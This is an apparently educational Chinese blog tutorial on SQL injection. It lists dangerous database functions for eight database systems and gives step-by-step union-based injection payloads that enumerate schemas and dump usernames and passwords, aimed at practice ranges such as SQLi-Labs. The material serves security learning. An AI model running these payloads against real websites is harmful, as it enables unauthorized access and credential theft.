网站首页 > 知识剖析 正文
数据库基础知识
- Mysql架构:数据库名-->表名-->列名-->数据
- 需要了解每种数据库都有哪些自带数据库,数据库用户及权限
- 需要了解数据库敏感函数,默认端口及应用
- 需要了解数据库查询方法(增加删除修改更新)
- 查询:
- 功能:用户查询,新闻查询
- SELECT * FROM news where id=$id
- 新增:
- 功能:用户注册,新闻添加
- INSERT INTO news (字段名) VALUES (数据)
- 删除:
- 功能:用户删除,新闻删除
- DELETE FROM news WHERE id=$id
- 修改:
- 功能:用户修改,新闻修改
- UPDATE news SET id=$id
SQL注入原理
代码中执行的SQL语句存在可控变量导致SQL注入
影响SQL注入的主要因素
- 数据库类型(权限操作)
- 每种数据库SQL语法可能不相同
- 数据操作方法(增删改查)
- 操作方法不同,语法也不相同
- 参数数据类型(符号干扰)
- 如果不知道使用的是什么符号,无法闭合前面的符号,那无法进行SQL注入
- 参数数据格式(加密编码等)
- 如果代码中进行了加密编码,直接使用未加密的攻击语句,代码无法识别,导致无法进行SQL注入
- 格式:如JSON/XML格式,不按照JSON/XML的格式进行注入,那代码无法识别,导致无法进行SQL注入
- 有可能格式+加密编码一起使用,难度会增加(只要了解使用的格式和加密编码类型那就很简单了)
- 提交数据方式(数据包部分)
- GET/POST:如Cookie注入、UA注入等,简而言之,只要数据带入数据库,那就可以尝试进行攻击
- 有无数据处理(无回显逻辑等)
- 没有返回结果,采用盲注:如延时注入、带外注入等
黑盒/白盒如何发现SQL注入
- 黑盒:
- 盲对所有参数进行测试
- 局限性:如果存在参数加密、不知道是哪种符号进行的干扰,那不可能测出漏洞
- 整合功能点脑补进行测试
- 白盒:
- 审计函数(前提是熟悉代码,最基本的是能看懂)
常见SQL注入的利用过程
- 判断数据库类型
- 判断参数类型及格式
- 判断数据格式及提交
- 判断数据回显及防护
- 获取数据库名->表名->列名
- 获取对应数据(一般是关键数据,如管理员)及尝试其他利用
数据库分类
Access
- 已经基本淘汰 意义不大
- 敏感函数:
- 文件操作:TransferDatabase(跨数据库操作)、FileCopy(文件复制)
- 系统交互:Shell()(调用系统命令,高危)
- OLE自动化:CreateObject("WScript.Shell")(执行系统命令)
- 端口:无固定端口,通常通过文件共享或ODBC连接
Mssql
- 如何判断数据库类型:
- 根据后缀判断:后缀一般为aspx
- 根据报错信息判断:一般报错信息中有Microsoft等字样
- 根据系统表判断:and (select count(*)from sysdatabases) >
- 三大系统表:
- sysdatabases:保存在master数据库中,里边的name字段下存放的是所有数据库的库名
- sysobjects:这张表保存的是数据库的表的信息
- syscolumns:这张表存放的是数据库中字段的信息
- 主要函数:
- host_name() :返回服务器端主机名称
- current_user():返回当前数据库用户
- db_name():返回当前数据库库名
- 敏感函数:
- 系统命令执行:
- xp_cmdshell(直接执行OS命令,默认禁用)
- sp_OACreate+sp_OAMethod(通过COM组件执行命令)
- 文件操作:
- xp_dirtree(列目录)
- BULK INSERT(加载外部文件)
- 注册表操作:xp_regread(读取注册表)
- 端口:1433,命名实例动态端口需额外扫描
测试网站:http://vulnweb.com/
and exists (select * from sysobjects) //判断是否是MSSQL
and exists (select * from tableName) //判断某表是否存在tableName为表名
and 1=(select @@VERSION) //MSSQL版本
and 1=(select @@servername) //本地服务名
and 1=(select db_name()) //当前数据库名
and 1=(select user_name()) //判断用户权限,一般dbo就是最高权限
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判断是否是系统管理员
and 1=(Select IS_MEMBER(‘db_owner’)) //判断是否是库权限
and 1= (Select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
Mysql
- 敏感函数:
- 文件读写:
- LOAD_FILE()(读取文件)
- SELECT ... INTO OUTFILE(写入文件)
- 系统命令执行:
- sys_exec()(需启用lib_mysqludf_sys扩展)
- 权限提升:
- SUPER权限相关操作(如修改my.cnf)
- 端口:3306
- 查版本:version()
- 查数据库用户:user()
- 查当前用户名:current_user()
- 查连接数据库的用户名:session_user()
- 查系统用户名:system_user()
- 查操作系统:@@version_compile_os
- 查数据库:database()
- 查数据库路径:@@datadir
- 查数据库安装路径:@@basedir
- 查当前机器的机器名:@@hostname
- 查日志文件存放位置:show variables like ‘log_%’;
- 前提:开启查询日志功能
- MYSQL5.0以上版本:自带的数据库名information_schema
- 数据库:
- information_schema:存储数据库下的数据库名及表名,列名信息的数据库
- 表:
- information_schema.schemata:
- 记录数据库名信息的表
- information_schema.tables:
- 记录表名信息的表
- information_schema.columns:
- 记录列名信息表
- 列:
- schema_name:
- information_schema.schemata
- 记录数据库名信息的列名值
- table_schema:
- information_schema.tables
- 记录数据库名的列名值
- table_name:
- information_schema.tables
- 记录表名的列名值
- column_name:
- information_schema.columns
- 记录列名的列名值
靶场:
https://mozhe.cn/Special/SQL_Injection
或者不想开靶场,可以使用Fofa搜索在线MySQL靶场
Fofa搜索:"SQLi-Labs"
1.判断是否存在注入:
id=1 and 1=1 --+ #页面正常
id=1 and 1=2 --+ #页面异常,存在注入(或者使用id=1awsfas来直接进行判断)
2.判断列数:
id=1 order by 4 --+ #页面正常时,数字为几,就代表存在几列
3.判断回显点:
id=-1 union select 1,2,3,4 --+ #哪个数字显示出来就代表回显点是几
4.查询当前数据库名:
id=-1 union select 1,database(),3,4 --+
5.查询表名:
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'--+
6.查询列名:
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' --+
7.获取数据:
id=-1 union select 1,2,group_concat(id,name,password),4 from StormGroup_member --+
8.解密得到的密码
常用函数
连接函数
- concat():没有分隔符的连接字符串,当有Null时会直接返回Null
- 用法:CONCAT(str1,str2,...)
- concat_ws():有分隔符的连接字符串
- 用法:CONCAT_WS(separator,str1,str2,...)
- 可解决返回值中有Null值的数据
- group_concat():连接一个组内的所有字符串
- 用法:GROUP_CONCAT(expr)
- 可绕过行数限制
其他函数
- if(条件,为真返回,为假返回)
- SELECT IF(SUBSTR((select User from `user` limit 1),1,1)='o',sleep(2),0) from `user`
- 如果字符串的第一位为o,睡眠两秒,否则返回0
- sleep():睡眠
- 用法:sleep(5)
- substr():返回字符串的一部分
- 用法:SUBSTR('字符串内容','起始位置','长度')
- ascii():返回字符串的ASCII代码值
- 用法:ascii('a')
- ASCII转换工具:CaptfEncoder
- mid():返回字符串的一部分
- 用法:mid('字符串内容','起始位置','长度')
- left():返回字符串最左侧的几个字符
- 用法:left('字符串内容','长度')
- right():从右开始截取字符串的一部分
- 用法:right('字符串内容','长度')
- length():返回字符串长度
- 用法:length('字符串内容')
- ord():返回字符串的第一个字符的ASCII
- 用法:ord('bc')
- hex():将目标字符串转换为16进制格式的数据
- 用法:hex(字符)
Oracle
- 敏感函数:
- 系统交互:
- UTL_HTTP(发起HTTP请求)
- DBMS_SCHEDULER(计划任务执行命令)
- 文件操作:
- UTL_FILE(读写服务器文件)
- BFILENAME(访问外部文件)
- Java扩展:
- DBMS_JAVA(执行Java代码)
- 端口:1521,监听器端口可能开放6200/8080
- 自带表:
- dual
- 内置表:
- dba_tables:系统里所有表信息,需要DBA权限才能查询
- all_tables:当前用户有权限的表信息
- user_tables:当前用户名下的表信息
- DBA_ALL_TABLES:DBA用户所拥有的或有访问权限的对象和表
- ALL_ALL_TABLES:某一个用户拥有的或有访问权限的对象和表
- USER_ALL_TABLES:某一用户所拥有的对象和表
- 权限和用户:
- DBA:拥有全部权限,系统最高权限,只有DBA才可以创建数据库结构
- RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构
- CONNECT:拥有CONNECT权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构
- 常用查询语句:
- 当前用户权限:select * from session_roles
- 当前数据库版本:select banner from sys.v_$version where rownum=1
- 服务器操作系统 :select member from v$logfile where rownum=1
- 服务器suid:select instance_name from v$instance
- 当前连接用户:select SYS_CONTEXT ('USERENV','CURRENT_USER') from dual
- 当前用户:select user from dual
- 查询出所有的表:select * from all_tables
- 查询出当前用户的表:select * from user_tables
- 查询出所有的字段:select * from all_tab_columns
- 查询出当前用户的字段:select * from user_tab_columns
- 查版本:select * from v$version
- 单行注释符:--
- 多行注释符:/**/
- 限制查询返回的总行数为一条:rownum=1
1.判断闭合方式:
id=1 and 1=1 #页面正常
id=1 and 1=2 #页面异常
2.判断字段列数:
id=1 order by 2 #页面正常时,数字为几,就代表存在几列
3.寻找注入点:
id=1 union select 'null','null' from dual --+ #哪个数字显示出来就代表注入点是几
4.查询数据库版本信息:
id=1 union select 'null',(select banner from sys.v_$version where rownum=1) from dual
5.查询当前数据库名:
id=1 union select 'null',(select instance_name from V$INSTANCE) from dual
6.查询当前数据库表名:
id=1 union select 'null',(select table_name from user_tables where rownum=1) from dual #查询出第一张表名:'LOGMNR_SESSION_EVOLVE#39;
id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE#39;) from dual #查询出第二张表名:'LOGMNR_GLOBAL#39;
id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE#39; and table_name not in 'LOGMNR_GLOBAL#39; ) from dual #查询出第三张表名:'LOGMNR_GT_TAB_INCLUDES'
id=1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1 ) from dual #模糊查询带有user名字的表名,找到目标表'sns_users'
7.查询数据库列名:
id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 )from dual #找到第一列'USER_NAME'
id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1and column_name not in 'USER_NAME' )from dual #找到第二列'USER_PWD'
id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in 'USER_NAME' and column_name not in 'USER_PWD' )from dual #找到第三列'STATUS'
id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in 'USER_NAME' and column_name not in 'USER_PWD' and column_name not in 'STATUS' )from dual #如果没有任何信息返回,说明找到了全部列
8.获取数据:
id =- 1 union select USER_NAME , USER_PWD from "sns_users" where r ownum= 1 #获取第一列数据
id =- 1 union select USER_NAME , USER_PWD from "sns_users" where r ownum= 1 and USER_NAME <> 'zhong' #获取第二列数据
id =- 1 union select USER_NAME , USER_PWD from "sns_users" where rownum= 1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu' #获取第三列数据
9.解密获取到的数据
SQLite
- 敏感函数:
- 文件操作:
- .dump(导出数据)
- .import(导入外部数据)
- 动态加载扩展:
- load_extension()(加载外部库)
- 端口:无网络端口,本地文件型数据库
- sqlite_master表:保存数据库表的关键信息
- 查版本:union select 1,sqlite_version();
- 查表名:union select 1,sql from sqlite_master where type='table';
- 查字段:union select 1,sql from sqlite_master where type='table' and name='ctf';
- 查指定列的值:union select id,name,pwd from "awdp";
SQLite特定表:sqlite_master,里面的字段:type/name/tbl_name/rootpage/sql记录着用户创建表的信息
1.判断是否存在注入:
?id=1 and 1=1 #页面正常
?id=1 and 1=2 #页面异常
2.判断字段列数:
?id=1 order by 4 #页面正常时,数字为几,就代表存在几列
3.判断回显点:
?id=1 union select 1,2,3,4
4.判断表的字段值:
?id=1 union select 1,name,sql,4 from sqlite_master limit 0,1
5.确定用户名密码:
?id=1 union select 1,name,password,4 from WSTMart_reg
6.解密获取到的数据
MongoDB
- 敏感函数:
- JavaScript执行:
- $where(注入JS代码)
- db.eval()(执行服务器端JS)
- 文件操作:
- GridFS API(存储/读取大文件)
- 端口:27017,未授权访问漏洞高发
- 创建数据库:use DATABASE_NAME ,如果存在该数据库则切换,不存在则创建该数据库
- 查看所有数据库:show dbs
- 删除当前数据库:db.dropDatabase()
- 查看当前数据库:db.getName()
- 查看数据库版本:db.version()
- 插入数据:db.COLLECTION_NAME.insert(document)
- 查询数据:db.COLLECTION_NAME.find(query)
- 比较语句:$gt、$lt、$gte、$lte
给出的源码中,闭合方式:'});return
1.构造回显:
?id=1'});return ({title:'1',content:'2
2.查询数据库名:
?id=1'});return({title:tojson(db),content:'2
3.查询表名:
?id=1'});return({title:tojson(db.getCollectionNames()),conten t:'2
4.查询数据:
?id=1'});return({title:tojson(db.Authority_confidential.find() [0]),content:'2
5.解密数据
DB2:
- 敏感函数:
- 系统命令执行:
- SYSPROC.ADMIN_CMD()(执行OS命令)
- db2dart(需高权限)
- 文件操作:
- LOAD(导入外部文件)
- 端口:50000,管理端口50050也可能暴露
- 系统表:
- sysibm.systables:存储所有表的基础信息(需结合tabschema过滤当前库)
- syscat.tables:包含更详细的表元数据(如表名、模式名)
- sysibm.syscolumns:记录列名及类型
- 函数:
- 获取当前库名:current schema
- 版本查询:SELECT service_level FROM sysibmadm.env_inst_info
- 分页语法:LIMIT offset,count(不同于Oracle的ROWNUM或MSSQL的TOP)
1.判断是否存在注入:
id=1 AND 1=1 -- 正常回显
id=1 AND 1=2 -- 异常或无数据
2.确定字段数:
id=1 ORDER BY 5
获取表名:id=-1 union select 1,2,3,4 from syscat.tables
3.爆库名:
id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
4.爆表名:
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
5.爆列名:
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 2,1
6.获取数据:
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1
Sybase
- 敏感函数:
- 系统命令:
- xp_cmdshell(类似MSSQL)
- sp_configure(修改配置)
- 文件操作:
- bcp(批量数据导出)
- 端口:5000,历史版本存在弱密码问题
- 系统表:
- master..syslogins:存储登录账户信息(如用户名、密码哈希)
- sysobjects:记录数据库对象(表、视图等),需结合xtype='U'筛选用户表
- 注释符:仅支持--和/* */,不支持#
- 查询语法:与MS SQL Server高度兼容(同源技术),但分页语法为TOP n而非LIMIT
1.判断是否存在注入:
id=1 AND 1=1 -- 正常回显
id=1 AND 1=2 -- 异常或无数据
2.确定字段数:
id=1 ORDER BY 5 --
3.爆库名:
id=-1 union all select null,db_name(),null,null
4.爆表名:
id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects
5.爆列名:
id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login')
爆其他列名:
id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login') and name<>'id'
6.获取数据:
id=-1 union all select null,name,null,null,null from Deepthroat_login
id=-1 union all select null,password,null,null,null from Deepthroat_login
PostgreSQL
- 敏感函数:
- 系统命令执行:
- COPY TO PROGRAM(执行OS命令)
- pg_exec()(需扩展支持)
- 文件操作:
- pg_read_file()(读取文件)
- lo_export(导出大对象文件)
- 端口:5432,常与phpAdmin等管理工具联合使用
https://blog.csdn.net/2401_88387979/article/details/144275425
1.判断是否存在注入:
?id=1 and 1=1 #页面正常
?id=1 and 1=2 #页面异常
2.判断字段列数:
?id=1 order by 4 #页面正常时,数字为几,就代表存在几列
3.判断回显点:
?id=1 and 1=2 union select 'null',null,null,null
?id=1 and 1=2 union select null,'null',null,null #哪个字段显示出来哪个就是回显点
4.获取数据库名:
?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database
5.获取表名:
?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
6.查询字段名:
?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
7.获取数据:
?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
8.解密数据
猜你喜欢
- 2025-05-30 mysql 之json字段详解(多层复杂检索)
- 2025-05-30 MySQL新手必看!15个高频SQL语句,让你从菜鸟变大神!
- 2025-05-30 MySQL 避坑指南之隐式数据类型转换
- 2025-05-30 MySQL进阶系列:SQL执行计划分析及执行方式
- 2025-05-30 java 培训 MySQL 一次性插入多行数据的操作
- 2025-05-30 数据库迁移有什么技巧?|分享强大的database迁移和同步工具
- 2025-05-30 全网最硬核操作:10亿数据如何最快插入MySQL?
- 2025-05-30 「SQL」MySQL之索引
- 2025-05-30 Mysql的varchar字段按照数字来排序
- 2025-05-30 mysql基本sql语句(库、表)
- 05-30mysql 之json字段详解(多层复杂检索)
- 05-30SQL注入基础
- 05-30MySQL新手必看!15个高频SQL语句,让你从菜鸟变大神!
- 05-30MySQL 避坑指南之隐式数据类型转换
- 05-30MySQL进阶系列:SQL执行计划分析及执行方式
- 05-30java 培训 MySQL 一次性插入多行数据的操作
- 05-30数据库迁移有什么技巧?|分享强大的database迁移和同步工具
- 05-30全网最硬核操作:10亿数据如何最快插入MySQL?
- 最近发表
- 标签列表
-
- xml (46)
- css animation (57)
- array_slice (60)
- htmlspecialchars (54)
- position: absolute (54)
- datediff函数 (47)
- array_pop (49)
- jsmap (52)
- toggleclass (43)
- console.time (63)
- .sql (41)
- ahref (40)
- js json.parse (59)
- html复选框 (60)
- css 透明 (44)
- css 颜色 (47)
- php replace (41)
- css nth-child (48)
- min-height (40)
- xml schema (44)
- css 最后一个元素 (46)
- location.origin (44)
- table border (49)
- html tr (40)
- video controls (49)